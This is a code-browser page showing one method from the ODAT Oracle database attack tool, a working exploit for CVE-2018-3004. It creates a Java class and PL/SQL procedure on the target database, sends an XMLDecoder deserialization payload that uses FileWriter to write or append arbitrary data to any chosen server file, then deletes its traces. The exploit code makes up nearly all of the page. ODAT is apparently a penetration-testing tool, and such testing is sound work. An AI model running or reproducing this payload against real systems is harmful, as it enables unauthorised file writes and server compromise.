MCPcopy Create free account
hub / github.com/quentinhardy/odat / createOrAppendFileViaCVE_2018_3004

Method createOrAppendFileViaCVE_2018_3004

Java.py:249–304  ·  view source on GitHub ↗

Exploit CVE-2018-3004 write data in remoteFilename on the target If file does not exist, it is created. Otherwise, data are appended in remoteFilename.

(self, data, remoteFilename)

Source from the content-addressed store, hash-verified

247 ####################################################################################################################
248
249 def createOrAppendFileViaCVE_2018_3004(self, data, remoteFilename):
250 '''
251 Exploit CVE-2018-3004
252 write data in remoteFilename on the target
253 If file does not exist, it is created.
254 Otherwise, data are appended in remoteFilename.
255 '''
256 CREATE_CLASS_EXPLOIT = """
257CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "exploitDeserializationJava" AS
258import java.io.*;
259import java.beans.*;
260public class exploitDeserializationJava{
261 public static void input(String xml) throws InterruptedException, IOException {
262 XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
263 Object object = decoder.readObject();
264 System.out.println(object.toString());
265 decoder.close();
266 }
267};
268 """
269 CREATE_FUNCTION_EXPLOIT ="CREATE OR REPLACE PROCEDURE exploitDeserialization (xmlcode IN VARCHAR2) IS language java name 'exploitDeserializationJava.input(java.lang.String)';"
270 EXECUTE_FUNCTION = "BEGIN exploitDeserialization('{0}'); END;"
271 XML_CODE = '<java class="java.beans.XMLDecoder" version="1.4.0"><object class="java.io.FileWriter"><string>{0}</string><boolean>True</boolean><void method="write"><string>{1}</string></void><void method="close"/></object></java>' #{0}:Filename on the target, {1}: data to write on the file
272 SOURCE_DROP_CLASS = "DROP JAVA SOURCE \"exploitDeserializationJava\""
273 SOURCE_DROP_FUNCTION = "DROP PROCEDURE exploitDeserialization"
274
275 logging.info("Trying to write {0} in {1} on the target".format(repr(data), remoteFilename))
276 logging.info("Create and compile the java class")
277 status = self.__execPLSQL__(CREATE_CLASS_EXPLOIT)
278 if isinstance(status,Exception):
279 logging.info("Impossible to create and compile the java class: {0}".format(self.cleanError(status)))
280 return status
281 else :
282 logging.debug("Java class created")
283 logging.info("Create a stored procedure to call java")
284 status = self.__execPLSQL__(CREATE_FUNCTION_EXPLOIT)
285 if isinstance(status,Exception):
286 logging.info("Impossible to create function to call java: {0}".format(self.cleanError(status)))
287 return status
288 logging.debug("Stored procedure created")
289 xmlCode = XML_CODE.format(remoteFilename, data)
290 logging.info("Executing the function with the xml code: {0}".format(xmlCode))
291 status = self.__execPLSQL__(EXECUTE_FUNCTION.format(xmlCode))
292 if isinstance(status, Exception):
293 logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(EXECUTE_FUNCTION.format(xmlCode), self.cleanError(status)))
294 return status
295 logging.info("Delete the PL/SQL PROCEDURE created")
296 status = self.__execPLSQL__(SOURCE_DROP_FUNCTION)
297 if isinstance(status,Exception):
298 logging.info("Impossible to drop the function: {0}".format(self.cleanError(status)))
299 else:
300 logging.info("Delete the java class compiled")
301 status = self.__execPLSQL__(SOURCE_DROP_CLASS)
302 if isinstance(status,Exception):
303 logging.info("Impossible to drop the class: {0}".format(self.cleanError(status)))
304 return True
305
306 def testAll (self):

Callers 2

testAllMethod · 0.95
runjavaModuleFunction · 0.95

Calls 2

__execPLSQL__Method · 0.80
cleanErrorMethod · 0.80

Tested by

no test coverage detected